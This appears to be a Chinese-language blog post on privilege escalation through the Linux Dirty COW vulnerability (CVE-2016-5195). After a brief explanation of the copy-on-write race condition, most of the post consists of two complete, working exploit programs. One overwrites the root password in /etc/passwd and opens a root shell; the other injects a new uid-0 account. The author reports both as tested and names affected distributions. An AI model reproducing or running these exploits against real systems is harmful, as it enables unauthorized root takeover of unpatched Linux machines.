dirty cow脏牛漏洞提权

2017年2月28日 发表评论 阅读评论

一、脏牛漏洞描述

漏洞编号:CVE-2016-5195
漏洞名称:脏牛(Dirty COW)
漏洞危害:低权限用户利用该漏洞技术可以在全版本Linux系统上实现本地提权
影响范围:Linux内核>=2.6.22(2007年发行)开始就受影响了,直到2016年10月18日才修复

二、漏洞利用原理

该漏洞具体为,Linux内核的内存子系统在处理写入时复制(copy-on-write, COW)时产生了竞争条件(race condition)。恶意用户可利用此漏洞,来获取高权限,对只读内存映射进行写访问。(A race condition was found in the way the Linux kernel’s memory subsystem handled the copy-on-write (COW) breakage of private read-only memory mappings.)

竞争条件,指的是任务执行顺序异常,可导致应用崩溃,或令攻击者有机可乘,进一步执行其他代码。利用这一漏洞,攻击者可在其目标系统提升权限,甚至可能获得root权限。

三、漏洞测试

github Pocs页面为:https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs 

经测试上面提供的exp代码可用,这里使用其中两段测试代码:

exp1:

#include <iostream>
#include <fstream>
#include <string>
#include <thread>
#include <sys/mman.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>
#include <pwd.h>
#include <pty.h>
#include <string.h>
#include <termios.h>
#include <sys/wait.h>
#include <signal.h>
#define  BUFFSIZE    1024
#define  DEFSLTIME   300000
#define  PWDFILE     "/etc/passwd"
#define  BAKFILE     "./.ssh_bak"
#define  TMPBAKFILE  "/tmp/.ssh_bak"
#define  PSM         "/proc/self/mem"
#define  ROOTID      "root:"
#define  SSHDID      "sshd:"
#define  MAXITER     300
#define  DEFPWD      "$6$P7xBAooQEZX/ham$9L7U0KJoihNgQakyfOQokDgQWLSTFZGB9LUU7T0W2kH1rtJXTzt9mG4qOoz9Njt.tIklLtLosiaeCBsZm8hND/"
#define  TXTPWD      "dirtyCowFun\n"
#define  DISABLEWB   "echo 0 > /proc/sys/vm/dirty_writeback_centisecs\n"
#define  EXITCMD     "exit\n"
#define  CPCMD       "\\cp "
#define  RMCMD       "\\rm "
using namespace std;
class Dcow{
    private:
       bool              run,        rawMode,     opShell,   restPwd;
       void              *map;
       int               fd,         iter,        master,    wstat;
       string            buffer,     etcPwd,      etcPwdBak,
                         root,       user,        pwd,       sshd;
       thread            *writerThr, *madviseThr, *checkerThr;
       ifstream          *extPwd;
       ofstream          *extPwdBak;
       struct passwd     *userId;
       pid_t             child;
       char              buffv[BUFFSIZE];
       fd_set            rfds;
       struct termios    termOld,    termNew;
       ssize_t           ign;
       void exitOnError(string msg);
    public:
       Dcow(bool opSh, bool rstPwd);
       ~Dcow(void);
       int  expl(void);
};
Dcow::Dcow(bool opSh, bool rstPwd) : run(true), rawMode(false), opShell(opSh), restPwd(rstPwd),
                   iter(0), wstat(0), root(ROOTID), pwd(DEFPWD), sshd(SSHDID), writerThr(nullptr),
                   madviseThr(nullptr), checkerThr(nullptr), extPwd(nullptr), extPwdBak(nullptr),
                   child(0){
   userId = getpwuid(getuid());
   user.append(userId->pw_name).append(":");
   extPwd = new ifstream(PWDFILE);
   while (getline(*extPwd, buffer)){
       buffer.append("\n");
       etcPwdBak.append(buffer);
       if(buffer.find(root) == 0){
          etcPwd.insert(0, root).insert(root.size(), pwd);
          etcPwd.insert(etcPwd.begin() + root.size() + pwd.size(),
                        buffer.begin() + buffer.find(":", root.size()), buffer.end());
       }else if(buffer.find(user) == 0 ||  buffer.find(sshd) == 0 ){
          etcPwd.insert(0, buffer);
       }else{
          etcPwd.append(buffer);
       }
   }
   extPwdBak = new ofstream(restPwd ? TMPBAKFILE : BAKFILE);
   extPwdBak->write(etcPwdBak.c_str(), etcPwdBak.size());
   extPwdBak->close();
   fd = open(PWDFILE,O_RDONLY);
   map = mmap(nullptr, etcPwdBak.size(), PROT_READ,MAP_PRIVATE, fd, 0);
}
Dcow::~Dcow(void){
   extPwd->close();
   close(fd);
   delete extPwd; delete extPwdBak; delete madviseThr; delete writerThr; delete checkerThr;
   if(rawMode)    tcsetattr(STDIN_FILENO, TCSANOW, &termOld);
   if(child != 0) wait(&wstat);
}
void Dcow::exitOnError(string msg){
      cerr << msg << endl;
      throw new exception();
}
int  Dcow::expl(void){
   madviseThr = new thread([&](){ while(run){ madvise(map, etcPwdBak.size(), MADV_DONTNEED);} });
   writerThr  = new thread([&](){ int fpsm = open(PSM,O_RDWR);
                                  while(run){ lseek(fpsm, reinterpret_cast<off_t>(map), SEEK_SET);
                                              ign = write(fpsm, etcPwd.c_str(), etcPwdBak.size()); }
                                });
   checkerThr = new thread([&](){ while(iter <= MAXITER){
                                         extPwd->clear(); extPwd->seekg(0, ios::beg);
                                         buffer.assign(istreambuf_iterator<char>(*extPwd),
                                                       istreambuf_iterator<char>());
                                         if(buffer.find(pwd) != string::npos &&
                                            buffer.size() >= etcPwdBak.size()){
                                                run = false; break;
                                         }
                                         iter ++; usleep(DEFSLTIME);
                                   }
                                   run = false;
                                 });
  cerr << "Running ..." << endl;
  madviseThr->join();
  writerThr->join();
  checkerThr->join();
  if(iter <= MAXITER){
       child = forkpty(&master, nullptr, nullptr, nullptr);
       if(child == -1) exitOnError("Error forking pty.");
       if(child == 0){
          execlp("su", "su", "-", nullptr);
          exitOnError("Error on exec.");
       }
       if(opShell) cerr << "Password overridden to: " <<  TXTPWD << endl;
       memset(buffv, 0, BUFFSIZE);
       ssize_t bytes_read = read(master, buffv, BUFFSIZE - 1);
       if(bytes_read <= 0) exitOnError("Error reading  su prompt.");
       cerr << "Received su prompt (" << buffv << ")" << endl;
       if(write(master, TXTPWD, strlen(TXTPWD)) <= 0)
            exitOnError("Error writing pwd on tty.");
       if(write(master, DISABLEWB, strlen(DISABLEWB)) <= 0)
            exitOnError("Error writing cmd on tty.");
       if(!opShell){
            if(write(master, EXITCMD, strlen(EXITCMD)) <= 0)
                 exitOnError("Error writing exit cmd on tty.");
       }else{
           if(restPwd){
               string restoreCmd = string(CPCMD).append(TMPBAKFILE).append(" ").append(PWDFILE).append("\n");
               if(write(master, restoreCmd.c_str(), restoreCmd.size()) <= 0)
                    exitOnError("Error writing restore cmd on tty.");
               restoreCmd        = string(RMCMD).append(TMPBAKFILE).append("\n");
               if(write(master, restoreCmd.c_str(), restoreCmd.size()) <= 0)
                    exitOnError("Error writing restore cmd (rm) on tty.");
           }
           if(tcgetattr(STDIN_FILENO, &termOld) == -1 )
                exitOnError("Error getting terminal attributes.");
           termNew               = termOld;
           termNew.c_lflag       &= static_cast<unsigned long>(~(ICANON | ECHO));
           if(tcsetattr(STDIN_FILENO, TCSANOW, &termNew) == -1)
                exitOnError("Error setting terminal in non-canonical mode.");
           rawMode = true;
           while(true){
                FD_ZERO(&rfds);
                FD_SET(master, &rfds);
                FD_SET(STDIN_FILENO, &rfds);
                if(select(master + 1, &rfds, nullptr, nullptr, nullptr) < 0 )
                    exitOnError("Error on select tty.");
                if(FD_ISSET(master, &rfds)) {
                    memset(buffv, 0, BUFFSIZE);
                    bytes_read = read(master, buffv, BUFFSIZE - 1);
                    if(bytes_read <= 0) break;
                    if(write(STDOUT_FILENO, buffv, bytes_read) != bytes_read)
                          exitOnError("Error writing on stdout.");
                }
                if(FD_ISSET(STDIN_FILENO, &rfds)) {
                    memset(buffv, 0, BUFFSIZE);
                    bytes_read = read(STDIN_FILENO, buffv, BUFFSIZE - 1);
                    if(bytes_read <= 0) exitOnError("Error reading from stdin.");
                    if(write(master, buffv, bytes_read) != bytes_read) break;
                }
            }
      }
  }
  return [](int ret, bool shell){
       string msg = shell ? "Exit.\n" : string("Root password is:   ") + TXTPWD + "Enjoy! :-)\n";
       if(ret <= MAXITER){cerr << msg; return 0;}
       else{cerr << "Exploit failed.\n"; return 1;}
  }(iter, opShell);
}
void printInfo(char* cmd){
      cerr << cmd << " [-s] [-n] | [-h]\n" << endl;
      cerr << " -s  open directly a shell, if the exploit is successful;" << endl;
      cerr << " -n  combined with -s, doesn't restore the passwd file." << endl;
      cerr << " -h  print this synopsis;" << endl;
      cerr << "\n If no param is specified, the program modifies the passwd file and exits." << endl;
      cerr << " A copy of the passwd file will be create in the current directory as .ssh_bak" << endl;
      cerr << " (unprivileged user), if no parameter or -n is specified.\n" << endl;
      exit(1);
}
int main(int argc, char** argv){
   const char  flags[]   = "shn";
   int         c;
   bool        opShell   = false,
               restPwd   = argc != 1 ? true : false;
   opterr = 0;
   while ((c = getopt(argc, argv, flags)) != -1){
      switch (c){
         case 's':
            opShell = true;
         break;
         case 'n':
            restPwd = false;
         break;
         case 'h':
            printInfo(argv[0]);
         break;
         default:
            cerr << "Invalid parameter." << endl << endl;
            printInfo(argv[0]);
      }
   }
   if(!restPwd && !opShell && argc != 1){
            cerr << "Invalid parameter: -n requires -s" << endl << endl;
            printInfo(argv[0]);
   }
   Dcow dcow(opShell, restPwd);
   return dcow.expl();
}

测试结果如下:

dcow

exp2:

// This exploit uses the pokemon exploit of the dirtycow vulnerability
// as a base and automatically generates a new passwd line.
// The user will be prompted for the new password when the binary is run.
// The original /etc/passwd file is then backed up to /tmp/passwd.bak
// and overwrites the root account with the generated line.
// After running the exploit you should be able to login with the newly
// created user.
//
// To use this exploit modify the user values according to your needs.
//   The default is "firefart".
//
// Original exploit (dirtycow's ptrace_pokedata "pokemon" method):
//   https://github.com/dirtycow/dirtycow.github.io/blob/master/pokemon.c
//
// Compile with:
//   gcc -pthread dirty.c -o dirty -lcrypt
//
// Then run the newly create binary by either doing:
//   "./dirty" or "./dirty my-new-password"
//
// Afterwards, you can either "su firefart" or "ssh firefart@..."
//
// DON'T FORGET TO RESTORE YOUR /etc/passwd AFTER RUNNING THE EXPLOIT!
//   mv /tmp/passwd.bak /etc/passwd
//
// Exploit adopted by Christian "FireFart" Mehlmauer
// https://firefart.at
//
#include <fcntl.h>
#include <pthread.h>
#include <string.h>
#include <stdio.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <stdlib.h>
#include <unistd.h>
#include <crypt.h>
const char *filename = "/etc/passwd";
const char *backup_filename = "/tmp/passwd.bak";
const char *salt = "firefart";
int f;
void *map;
pid_t pid;
pthread_t pth;
struct stat st;
struct Userinfo {
   char *username;
   char *hash;
   int user_id;
   int group_id;
   char *info;
   char *home_dir;
   char *shell;
};
char *generate_password_hash(char *plaintext_pw) {
  return crypt(plaintext_pw, salt);
}
char *generate_passwd_line(struct Userinfo u) {
  const char *format = "%s:%s:%d:%d:%s:%s:%s\n";
  int size = snprintf(NULL, 0, format, u.username, u.hash,
    u.user_id, u.group_id, u.info, u.home_dir, u.shell);
  char *ret = malloc(size + 1);
  sprintf(ret, format, u.username, u.hash, u.user_id,
    u.group_id, u.info, u.home_dir, u.shell);
  return ret;
}
void *madviseThread(void *arg) {
  int i, c = 0;
  for(i = 0; i < 200000000; i++) {
    c += madvise(map, 100, MADV_DONTNEED);
  }
  printf("madvise %d\n\n", c);
}
int copy_file(const char *from, const char *to) {
  // check if target file already exists
  if(access(to, F_OK) != -1) {
    printf("File %s already exists! Please delete it and run again\n",
      to);
    return -1;
  }
  char ch;
  FILE *source, *target;
  source = fopen(from, "r");
  if(source == NULL) {
    return -1;
  }
  target = fopen(to, "w");
  if(target == NULL) {
     fclose(source);
     return -1;
  }
  while((ch = fgetc(source)) != EOF) {
     fputc(ch, target);
   }
  printf("%s successfully backed up to %s\n",
    from, to);
  fclose(source);
  fclose(target);
  return 0;
}
int main(int argc, char *argv[])
{
  // backup file
  int ret = copy_file(filename, backup_filename);
  if (ret != 0) {
    exit(ret);
  }
  struct Userinfo user;
  // set values, change as needed
  user.username = "firefart";
  user.user_id = 0;
  user.group_id = 0;
  user.info = "pwned";
  user.home_dir = "/root";
  user.shell = "/bin/bash";
  char *plaintext_pw;
  if (argc >= 2) {
    plaintext_pw = argv[1];
    printf("Please enter the new password: %s\n", plaintext_pw);
  } else {
    plaintext_pw = getpass("Please enter the new password: ");
  }
  user.hash = generate_password_hash(plaintext_pw);
  char *complete_passwd_line = generate_passwd_line(user);
  printf("Complete line:\n%s\n", complete_passwd_line);
  f = open(filename, O_RDONLY);
  fstat(f, &st);
  map = mmap(NULL,
             st.st_size + sizeof(long),
             PROT_READ,
             MAP_PRIVATE,
             f,
             0);
  printf("mmap: %lx\n",(unsigned long)map);
  pid = fork();
  if(pid) {
    waitpid(pid, NULL, 0);
    int u, i, o, c = 0;
    int l=strlen(complete_passwd_line);
    for(i = 0; i < 10000/l; i++) {
      for(o = 0; o < l; o++) {
        for(u = 0; u < 10000; u++) {
          c += ptrace(PTRACE_POKETEXT,
                      pid,
                      map + o,
                      *((long*)(complete_passwd_line + o)));
        }
      }
    }
    printf("ptrace %d\n",c);
  }
  else {
    pthread_create(&pth,
                   NULL,
                   madviseThread,
                   NULL);
    ptrace(PTRACE_TRACEME);
    kill(getpid(), SIGSTOP);
    pthread_join(pth,NULL);
  }
  printf("Done! Check %s to see if the new user was created.\n", filename);
  printf("You can log in with the username '%s' and the password '%s'.\n\n",
    user.username, plaintext_pw);
    printf("\nDON'T FORGET TO RESTORE! $ mv %s %s\n",
    backup_filename, filename);
  return 0;
}

由于gcc版本的原因,exp1在很多版本上编译会出错,所以这里有使用了exp2进行测试,具体结果如下:

dirty-cow

参数页面:

更详细的关于漏洞原理的部分可以参考如下页面:

https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-5195

根据测试结果centos7.2以下的版本基本都可以测试成功,SUSE11全部版本都可以成功。




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